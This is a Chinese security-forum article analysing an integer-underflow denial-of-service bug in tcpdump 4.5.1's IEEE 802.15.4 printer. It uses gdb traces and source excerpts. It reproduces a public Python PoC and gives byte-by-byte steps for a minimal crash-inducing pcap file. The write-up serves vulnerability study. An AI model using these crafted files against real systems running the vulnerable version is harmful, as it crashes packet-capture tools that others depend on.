查看原文
其他

双向进攻:分析tcpdump DOS漏洞成因

LarryS 看雪学苑 2022-07-01

本文为看雪论坛精华文章

看雪论坛作者ID:LarryS


  •  

  • 目录


  •  0. 前言


  •  1. 环境&准备

  •      1.1虚拟机操作系统

  •      1.2 tcpdump安装

  •      1.3 poc.py文件

  •      1.4 crash文件介绍

  •           1.4.1 文件内容

  •           1.4.2 文件结构


  •  2. 漏洞分析

  •      2.1 获取函数调用栈

  •      2.2 代码跟进

  •      2.3 漏洞成因


  •  3. crash数据包分析

  •      3.1 构建自己的poc

  •           3.1.1 24字节的pcap文件头

  •           3.1.2 16字节的包头

  •           3.1.3 caplen字节的数据

  •  

  • 4. 参考资料






0. 前言


这个漏洞k0shl有分析过,我也是看了他的分析才决定自己分析一遍的,最终得到的结论也有一些差异。此外,由于tcpdump本身就是有源码的,所以我是从源码和gdb动态调试两个方向同时进行分析,更加方便理解。





1. 环境&准备


1.1虚拟机操作系统


kali 2020.3 x86


1.2 tcpdump安装


# 卸载默认安装的tcpdumpapt-get --purge remove tcpdump # 安装依赖包apt install flexapt install bison# 安装libpcapwget http://www.tcpdump.org/release/libpcap-1.5.3.tar.gztar -zxvf libpcap-1.5.3.tar.gzcd libpcap-1.5.3./configuremakemake install# 安装tcpdumpwget http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gztar -zxvf tcpdump-4.5.1.tar.gzcd tcpdump-4.5.1./configuremakemake install# 验证安装tcpdump --version


1.3 poc.py文件


# Exploit Title: tcpdump 4.5.1 Access Violation Crash# Date: 31st May 2016# Exploit Author: David Silveiro# Vendor Homepage: http://www.tcpdump.org# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz# Version: 4.5.1# Tested on: Ubuntu 14 LTS
from subprocess import callfrom shlex import splitfrom time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00' buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'" buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00" buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file: file.write(buffer)
try: call(split(command)) print("Exploit successful! ") except: print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ") print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2) crash()
if __name__ == "__main__": main()

1.4 crash文件介绍


1.4.1 文件内容


该文件可以通过运行上面的python文件获得。

0000h: D4 C3 B2 A1 02 00 04 00 | 00 00 00 F5 FF 00 00 000010h: 49 00 00 00 E6 00 00 00 | 00 80 00 00 00 00 00 000020h: 08 00 00 00 00 3C 9C 37 | 40 FF 00 06 A0 72 7F 000030h: 00 01 7F 00 00 EC 00 01 | E0 1A 00 17 67 2B 2B 2B0040h: 2B 2B 2B 2B 85 C9 03 00 | 00 00 10 A0 26 80 18 270050h: 78 66 65 24 00 01 00 00 | 40 0C 04 02 08 0A 27 2C0060h: 20 27 00 00 00 00 00 00 | 00 00 01 03 03 04


1.4.2 文件结构


  • 24字节pcap_file_header

  • 16字节pcap_pkthdr

    8字节时间戳

    4字节caplen

    4字节len

  • 数据


更详细的介绍会在3.1 构建自己的poc中。





2. 漏洞分析


2.1 获取函数调用栈


使用gdb执行tcpdump,然后执行run -r crash,因为访问未授权地址,程序停止执行:

root@kali:~/tcpdump-dos# gdb tcpdump
gdb-peda$ run -r crashStarting program: /usr/local/sbin/tcpdump -r crash05:06:08.000000 IEEE 802.15.4 Beacon packet 0x0000: ffff ffe7 3710 e0ff ffff ffe8 270f f0ff ....7.......'... 0x0010: ffff ffe9 16f2 e0ff ffff ffea 06f1 f0ff ................ 0x0020: ffff ffea f6d4 e0ff ffff ffeb e6d3 f0ff ................ 0x0030: ffff ffec d6b6 e011 0000 0050 de5e 0020 ...........P.^.. 0x0040: d85e 0000 0000 0041 0000 0070 e25e 0000 .^.....A...p.^.. 0x0050: 0000 0000 0000 0001 0000 0001 0000 0001 ................ 0x0060: 0000 0000 0000 0000 0000 006d 646e 7334 ...........mdns4 0x0070: 5f6d 696e 696d 616c 0000 00f5 4f78 70ff _minimal....Oxp. 0x0080: ffff fff6 3f5b 6011 0000 0000 0000 0078 ....?[`........x 0x0090: 47fb b700 0000 0031 0000 0040 d65e 0000 G......1...@.^.. 0x00a0: 0000 0000 0000 0000 0000 0001 0000 0001 ................ 0x00b0: 0000 0000 0000 0000 0000 0064 6200 0000 ...........db... 0x00c0: 0000 0000 0000 0031 0000 0000 0000 0000 .......1........ 0x00d0: 0000 0000 0000 0000 0000 0001 0000 0001 ................ 0x00e0: 0000 0000 0000 0000 0000 0066 696c 6573 ...........files 0x00f0: 0000 0000 0000 0021 0000 00f0 d65e 0090 .......!.....^.. 0x0100: d65e 0073 6572 7669 6365 7300 0000 0000 .^.services..... 0x0110: 0000 0000 0000 0031 0000 00c0 d65e 0000 .......1.....^.. 0x0120: 0000 0000 0000 0000 0000 0001 0000 0001 ................ 0x0130: 0000 0020 d85e 0020 dc5e 0064 6200 0000 .....^...^.db... 0x0140: 0000 0000 0000 0031 0000 0000 0000 0000 .......1........ 0x0150: 0000 0000 0000 0000 0000 0001 0000 0001 ................ ...... ...... 0x219d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x219e0: 0000 0000 0000 0000 0000 0000 0000 0000 .........Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x5EBX: 0x51c000 --> 0x11beb0ECX: Cannot access memory addressEDX: 0xbfffe3c3 (0xbfffe3c3: 0x30303000)ESI: 0x2e ('.')EDI: 0x0EBP: 0xbfffe3dd ("......")ESP: 0xbfffe370 --> 0xb7fcd110 --> 0xb7dcf000 --> 0x464c457fEIP: 0x41adc0 (<hex_and_ascii_print_with_offset+160>: movzx esi,BYTE PTR [ecx+0x1])EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x41adb3 <hex_and_ascii_print_with_offset+147>: add ebp,0x2 0x41adb6 <hex_and_ascii_print_with_offset+150>: cmp ecx,DWORD PTR [esp+0x18] 0x41adba <hex_and_ascii_print_with_offset+154>: je 0x41aea8 <hex_and_ascii_print_with_offset+392>=> 0x41adc0 <hex_and_ascii_print_with_offset+160>: movzx esi,BYTE PTR [ecx+0x1] 0x41adc4 <hex_and_ascii_print_with_offset+164>: movzx edi,BYTE PTR [ecx] 0x41adc7 <hex_and_ascii_print_with_offset+167>: add ecx,0x2 0x41adca <hex_and_ascii_print_with_offset+170>: sub esp,0xc 0x41adcd <hex_and_ascii_print_with_offset+173>: mov DWORD PTR [esp+0x1c0],ecx[------------------------------------stack-------------------------------------]0000| 0xbfffe370 --> 0xb7fcd110 --> 0xb7dcf000 --> 0x464c457f0004| 0xbfffe374 --> 0x50008| 0xbfffe378 --> 0x00012| 0xbfffe37c --> 0x00016| 0xbfffe380 --> 0xbfffe3be (" 0000")0020| 0xbfffe384 --> 0xbfffe3aa (" 0000 0000 0000 0000 0000")0024| 0xbfffe388 --> 0x5ed567 --> 0x00028| 0xbfffe38c --> 0xb7fce100 --> 0xb7f43380 --> 0x20002[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGVhex_and_ascii_print_with_offset (ident=0x4a8c76 "\n\t", cp=0x60f000 <error: Cannot access memory at address 0x60f000>, length=0xfffffff3, oset=0x21a80) at ./print-ascii.c:9090 s1 = *cp++;

执行bt命令查看函数调用栈:

gdb-peda$ bt#0 hex_and_ascii_print_with_offset (ident=0x4a8c76 "\n\t", cp=0x60f000 <error: Cannot access memory at address 0x60f000>, length=0xfffffff3, oset=0x21a80) at ./print-ascii.c:90#1 0x0041afc6 in hex_and_ascii_print (ident=0x4a8c76 "\n\t", cp=0x5ed575 "\377\377\377\347\067\020\340\377\377\377\377\350'\017\360\377\377\377\377\351\026\362\340\377\377\377\377\352\006\361\360\377\377\377\377\352\366\324\340\377\377\377\377\353\346\323\360\377\377\377\377\354\340\021", length=0xfffffff3) at ./print-ascii.c:127#2 0x0046d533 in ndo_default_print (ndo=0x5eaac0 <Gndo>, bp=0x5ed575 "\377\377\377\347\067\020\340\377\377\377\377\350'\017\360\377\377\377\377\351\026\362\340\377\377\377\377\352\006\361\360\377\377\377\377\352\366\324\340\377\377\377\377\353\346\323\360\377\377\377\377\354\340\021", length=0xfffffff3) at ./tcpdump.c:2053#3 0x00418d47 in ieee802_15_4_if_print (ndo=0x5eaac0 <Gndo>, h=0xbfffe610, p=<optimized out>) at ./print-802_15_4.c:180#4 0x0046dc08 in print_packet (user=0xbfffe790 "\300\252^", h=0xbfffe610, sp=0x5ed560 "@\377") at ./tcpdump.c:1950#5 0x0048dcc8 in pcap_offline_read (p=0x5ed350, cnt=0xffffffff, callback=0x46dbb0 <print_packet>, user=0xbfffe790 "\300\252^") at ./savefile.c:409#6 0x0047fcc3 in pcap_loop (p=0x5ed350, cnt=0xffffffff, callback=0x46dbb0 <print_packet>, user=0xbfffe790 "\300\252^") at ./pcap.c:849#7 0x00411b7d in main (argc=<optimized out>, argv=<optimized out>) at ./tcpdump.c:1569#8 0xb7deddf6 in __libc_start_main (main=0x4108b0 <main>, argc=0x3, argv=0xbffff984, init=0x49bff0 <__libc_csu_init>, fini=0x49c050 <__libc_csu_fini>, rtld_fini=0xb7fe6080 <_dl_fini>, stack_end=0xbffff97c) at ../csu/libc-start.c:308#9 0x004129e1 in _start ()

从该命令的输出中,可以看到漏洞出现时的函数调用情况,以及每个函数所在的文件及其位置。总结如下表:


从上面的信息,我们知道漏洞的发生是由于打印时引用了非法地址,但究竟是如何做到这一点的,还需要进一步分析。


2.2 代码跟进


跟随文件名及行数信息,找到savefile.c中的pcap_offline_read函数源码,在该文件的400行,有一个函数调用status = p->next_packet_op(p, &h, &data);,从该代码无法确定究竟调用了哪个函数,所以回到gdb,在pcap_offline_read函数处下断点b pcap_offline_read,然后执行run -r crash,n步进到该处函数调用,s步入:

gdb-peda$ s[----------------------------------registers-----------------------------------]EAX: 0xbfffe60c --> 0x0EBX: 0x51c000 --> 0x11beb0ECX: 0x0EDX: 0x1ESI: 0x5ed350 --> 0x48dc60 (<pcap_offline_read>: push ebp)EDI: 0x0EBP: 0xbfffe610 --> 0xb7fe5539 (<_dl_fixup+9>: add ebx,0x19ac7)ESP: 0xbfffe5dc --> 0x48dcec (<pcap_offline_read+140>: add esp,0x10)EIP: 0x48e070 (<pcap_next_packet>: push ebp)EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x48e06b: xchg ax,ax 0x48e06d: xchg ax,ax 0x48e06f: nop=> 0x48e070 <pcap_next_packet>: push ebp 0x48e071 <pcap_next_packet+1>: push edi 0x48e072 <pcap_next_packet+2>: push esi 0x48e073 <pcap_next_packet+3>: push ebx 0x48e074 <pcap_next_packet+4>: call 0x4129f0 <__x86.get_pc_thunk.bx>[------------------------------------stack-------------------------------------]0000| 0xbfffe5dc --> 0x48dcec (<pcap_offline_read+140>: add esp,0x10)0004| 0xbfffe5e0 --> 0x5ed350 --> 0x48dc60 (<pcap_offline_read>: push ebp)0008| 0xbfffe5e4 --> 0xbfffe610 --> 0xb7fe5539 (<_dl_fixup+9>: add ebx,0x19ac7)0012| 0xbfffe5e8 --> 0xbfffe60c --> 0x00016| 0xbfffe5ec --> 0x00020| 0xbfffe5f0 --> 0xb7fff000 --> 0x29f3c0024| 0xbfffe5f4 --> 0x400000 --> 0x464c457f0028| 0xbfffe5f8 --> 0x0[------------------------------------------------------------------------------]Legend: code, data, rodata, valuepcap_next_packet (p=0x5ed350, hdr=0xbfffe610, data=0xbfffe60c) at ./sf-pcap.c:399399 struct pcap_sf *ps = p->priv;

发现该函数为sf-pcap.c文件399行的pcap_next_packet,打开该文件定位到函数位置,回到gdb步进查看函数执行流程。

// sf-pcap.c// 读取头部信息412 amt_read = fread(&sf_hdr, 1, ps->hdrsize, fp);// sf_hdr: esp+0x24=0xbfffe5a8; ps->hdrsize: 0x10;// 执行后:0xbfffe5a8: 0x00008000 0x00000000 0x00000008 0x379c3c00439 hdr->caplen = sf_hdr.caplen; // 0x08440 hdr->len = sf_hdr.len; // 0x379c3c00441 hdr->ts.tv_sec = sf_hdr.ts.tv_sec;442 hdr->ts.tv_usec = sf_hdr.ts.tv_usec;// 读取数据包546 amt_read = fread(p->buffer, 1, hdr->caplen, fp);// p->buffer: [esp+0x5c]+0x14=0x5ed560; hdr->caplen: 0x8// 执行后:0x5ed560: 0x0600ff40 0x007f72a0 0x00000000 0x00000000560 *data = p->buffer;

根据上面对于执行流程的监控,可以发现pcap_next_packet函数根据数据包头部的caplen信息读入了8字节的数据0x0600ff40 0x007f72a0。也就是说,pcap_offline_read函数中的status = p->next_packet_op(p, &h, &data);语句,参数data最终指向的就是这8字节数据,参数地址为0x5ed560。
 
回到pcap_offline_read函数,第409行,执行了(*callback)(user, &h, data);,即print_packet函数。
 
找到tcpdump.c文件中的print_packet函数:

// tcpdump.c1947 snapend = sp + h->caplen;19481949 if(print_info->ndo_type) {1950 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp); // 这里!1951 } else {1952 hdrlen = (*print_info->p.printer)(h, sp);1953 }

其中h就是之前读取的头部信息,sp就是8字节的数据。
 
需要注意的地方来了!
 
这里调用的就是print-802_15_4.c 中的 ieee802_15_4_if_print函数,在该函数的最后,调用了ndo_default_print:

// print-802_15_4.c179 if (!suppress_default_print)180 (ndo->ndo_default_print)(ndo, p, caplen);

之后的两个函数只是在添加参数的基础上调用新的函数,并没有什么内容:

// tcpdump.c2050 static void2051 ndo_default_print(netdissect_options *ndo _U_, const u_char *bp, u_int length)2052 {2053 hex_and_ascii_print("\n\t", bp, length);2054 }
// print-ascii.c123 void124 hex_and_ascii_print(register const char *ident, register const u_char *cp,125 register u_int length)126 {127 hex_and_ascii_print_with_offset(ident, cp, length, 0);128 }

直接查看hex_and_ascii_print_with_offset函数:

// print-ascii.c76 void77 hex_and_ascii_print_with_offset(register const char *ident,78 register const u_char *cp, register u_int length, register u_int oset)79 {80 register u_int i;81 register int s1, s2;82 register int nshorts;83 char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;84 char asciistuff[ASCII_LINELENGTH+1], *asp;8586 nshorts = length / sizeof(u_short);87 i = 0;88 hsp = hexstuff; asp = asciistuff;89 while (--nshorts >= 0) {90 s1 = *cp++; // 这里!91 s2 = *cp++; 92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),93 " %02x%02x", s1, s2);

该函数使用参数length计算了一个长度用来控制循环,然后逐步访问参数cp(也就是从数据包读入的数据)指向的内存空间,也就是这里发生了越界访问,导致了拒绝服务。
 
现在我们需要回顾一下length参数究竟是什么了!


2.3 漏洞成因


可能你会认为这个length就是之前读入的caplen,也就是0x8,但事实并非如
此。
 
上一小节中有一个加粗字体不知道你有没有注意到,就是在 ieee802_15_4_if_print函数中,caplen的值发生了变化。
 
让我们在gdb中跟进一下这个函数,同时和源码对应,看一下这个函数做了一些什么:

// print-802_15_4.c92 u_int93 ieee802_15_4_if_print(struct netdissect_options *ndo,94 const struct pcap_pkthdr *h, const u_char *p) // p: 0x5ed560 --> 0x600ff40 (即0x40ff0006)95 {96 u_int caplen = h->caplen; // 0x897 int hdrlen;98 u_int16_t fc;99 u_int8_t seq;......106 fc = EXTRACT_LE_16BITS(p); // fc: 0xff40107 hdrlen = extract_header_length(fc); // hdrlen: 0x12108109 seq = EXTRACT_LE_8BITS(p + 2); // seq: 0x00110111 p += 3; // p: 0x5ed563->0x7f72a006(即0x06a0727f)112 caplen -= 3; // caplen: 0x5113 114 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));......123 if (!vflag) {124 p+= hdrlen; // p: 0x5ed575->0xe7ffffff(即0xffffffe7)125 caplen -= hdrlen; // caplen: 0xfffffff3=-13126 } else {......177 }178 179 if (!suppress_default_print)180 (ndo->ndo_default_print)(ndo, p, caplen);181182 return 0;183 }

根据上面的调试结果,该函数会对读取出来的数据中的前两个字节进行一些运算,计算出ieee802.15.4包的头部长度,这里计算出来的是0x12,而ieee802.15.4包的总长度也只有0x8,再减去前3个字节,最后得到的传入ndo_default_print的参数caplen就是一个负数了。
 

注:这里的计算涉及到了ZigBee包格式的问题,感兴趣的朋友可以参考这个网址https://www.rfwireless-world.com/Tutorials/Zigbee-MAC-layer-frame-format.html)。

 
接下来我们直接在gdb中步进到hex_and_ascii_print_with_offset函数内,看一下长度计算那里的结果是什么。这里从汇编代码比较好:

0x41ad35 <hex_.._offset+21>: mov esi,DWORD PTR [esp+0x1b8] ; length:0xfffffff3 0x41ad3c <hex_.._offset+28>: mov edx,DWORD PTR [esp+0x1b4] ; cp: 0x5ed575->0xe7ffffff=> 0x41ad43 <hex_.._offset+35>: mov eax,esi 0x41ad45 <hex_.._offset+37>: and eax,0x1 0x41ad48 <hex_.._offset+40>: shr esi,1 ; nshorts: 0x7ffffff9=2147483641

注意到除法操作(右移一位)之后,原本的负数变成了极大的正数。

0x0041ad6c <+76>: lea eax,[edx+esi*2] ; eax: 0x5ed567=0x5ed575+0x7ffffff9*2 ; =0x5ed575-0xe0x0041ad6f <+79>: mov DWORD PTR [esp+0x18],eax ; [esp+0x18]: 0x5ed567......0x0041adc0 <+160>: movzx esi,BYTE PTR [ecx+0x1] ; 发生漏洞的地方!0x0041adc4 <+164>: movzx edi,BYTE PTR [ecx]......0x0041ae9e <+382>: cmp ecx,DWORD PTR [esp+0x18] ; ecx: 数据包遍历地址>=0x5ed575 ; [esp+0x18]: 0x5ed5670x0041aea2 <+386>: jne 0x41adc0 <hex_and_ascii_print_with_offset+160>

注意这里循环停止的判断方式,函数使用baseAddress+nshorts*2的方式计算截至地址,但是由于整数溢出,导出结果小于基地址。这就导致判断循环结束的条件无法到达,函数会一直从基地址0x5ed575开始遍历,最终访问到未授权的内存地址。





3. crash数据包分析


poc的python代码本身并没有什么需要分析的地方,就是把crash数据包的内容写入到了crash文>件中,所以主要是看一下crash文件的内容。再次贴一下它的内容:

0000h: D4 C3 B2 A1 02 00 04 00 | 00 00 00 F5 FF 00 00 00
0010h: 49 00 00 00 E6 00 00 00 | 00 80 00 00 00 00 00 00
0020h: 08 00 00 00 00 3C 9C 37 | 40 FF 00 06 A0 72 7F 00
0030h: 00 01 7F 00 00 EC 00 01 | E0 1A 00 17 67 2B 2B 2B
0040h: 2B 2B 2B 2B 85 C9 03 00 | 00 00 10 A0 26 80 18 27
0050h: 78 66 65 24 00 01 00 00 | 40 0C 04 02 08 0A 27 2C
0060h: 20 27 00 00 00 00 00 00 | 00 00 01 03 03 04
 
1.4 crash文件介绍中,我已经简单介绍了该数据包的内容和结构。根据上面对于漏洞的分析,产生漏洞的主要原因就是内容中加粗的两个部分,这两部分的内容导入最终代码计算出来的ieee802.15.4包内容的长度是负数,从而产生整数溢出。
 
所以该漏洞的出现和00 3C 9C 37没有关系,也和0030h-006Dh的内容没有关系。
 
那么下面这个数据包应该也会引发漏洞:

0000h: D4 C3 B2 A1 02 00 04 00 | 00 00 00 F5 FF 00 00 000010h: 49 00 00 00 E6 00 00 00 | 00 80 00 00 00 00 00 000020h: 08 00 00 00 08 00 00 00 | 40 FF 00 06 A0 72 7F 00

我使用上面的数据构建了一个crash1文件,在命令行执行tcpdump -r crash1,确实引发的漏洞:

05:06:08.000000 IEEE 802.15.4 Beacon packet 0x0000: ffff ffe7 3710 e0ff ffff ffe8 270f f0ff ....7.......'... 0x0010: ffff ffe9 16f2 e0ff ffff ffea 06f1 f0ff ................ 0x0020: ffff ffea f6d4 e0ff ffff ffeb e6d3 f0ff ................ 0x0030: ffff ffec d6b6 e011 0000 0050 7ead 0120 ...........P~... 0x0040: 78ad 0100 0000 0041 0000 0070 82ad 0100 x......A...p.... 0x0050: 0000 0000 0000 0001 0000 0001 0000 0001 ................ 0x0060: 0000 0000 0000 0000 0000 006d 646e 7334 ...........mdns4 0x0070: 5f6d 696e 696d 616c 0000 00f5 4f78 70ff _minimal....Oxp. 0x0080: ffff fff6 3f5b 6011 0000 0000 0000 0078 ....?[`........x...... 0x219f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x21a00: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x21a10: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x21a20: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x21a30: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x21a40: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x21a50: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0x21a60: 0000 0000 0000 0000 0000 0000 0000 0000 ................Segmentation fault

3.1 构建自己的poc


所以如果想要自己构建一个针对该漏洞的poc,只要了解pcap文件的格式就可以了。


3.1.1 24字节的pcap文件头


struct pcap_file_header { bpf_u_int32 magic; // D4 C3 B2 A1 u_short version_major; // 02 00 u_short version_minor; // 04 00 bpf_int32 thiszone; // 00 00 00 00 bpf_u_int32 sigfigs; // 00 00 00 00 bpf_u_int32 snaplen; // 10 00 00 00 最大抓包长度,这里至少要能够包含接下来的数据包 bpf_u_int32 linktype; // 49 00 00 00 链路类型};

3.1.2 16字节的包头


struct pcap_pkthdr { struct timeval ts; // 00 00 00 00 00 00 00 00 bpf_u_int32 caplen; // 08 00 00 00 bpf_u_int32 len; // 08 00 00 00 这个值一般<=caplen,但也可以任意};

3.1.3 caplen字节的数据


40 FF 00 00 00 00 00 00

上面的数据中,凡是没有明确要求的全部设成了0。注意caplen字段,以及数据部分的前两个字节其实也不是固定的,只要最后能够计算出负数的长度就可以,可以根据源码自己选取字段内容。
 
最后组合成的数据包为:

D4 C3 B2 A1 02 00 04 00 | 00 00 00 00 00 00 00 0010 00 00 00 49 00 00 00 | 00 00 00 00 00 00 00 0008 00 00 00 08 00 00 00 | 40 FF 00 00 00 00 00 00

使用tcpdump打开该数据包,也成功引发了漏洞。
 
把python代码中的buffer改成自己构建的crash文件内容,就是一个完整的poc了。





4. 参考资料


k0shl对该漏洞的分析

https://whereisk0shl.top/post/2016-10-23-1


Zigbee MAC layer frames

https://www.rfwireless-world.com/Tutorials/Zigbee-MAC-layer-frame-format.html




- End -



看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

  *本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区。



2.5折优惠票数量有限,先到先得哦!


推荐文章++++

* 一个KimsukyAPT样本分析

* 一种基于frida和drony的针对flutter抓包的方法

* Minifilter学习的那些事

* 老树开花,一例新上传的KimSuky老样本分析

* 茴字的三种写法之angr符号执行寻找Flag







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存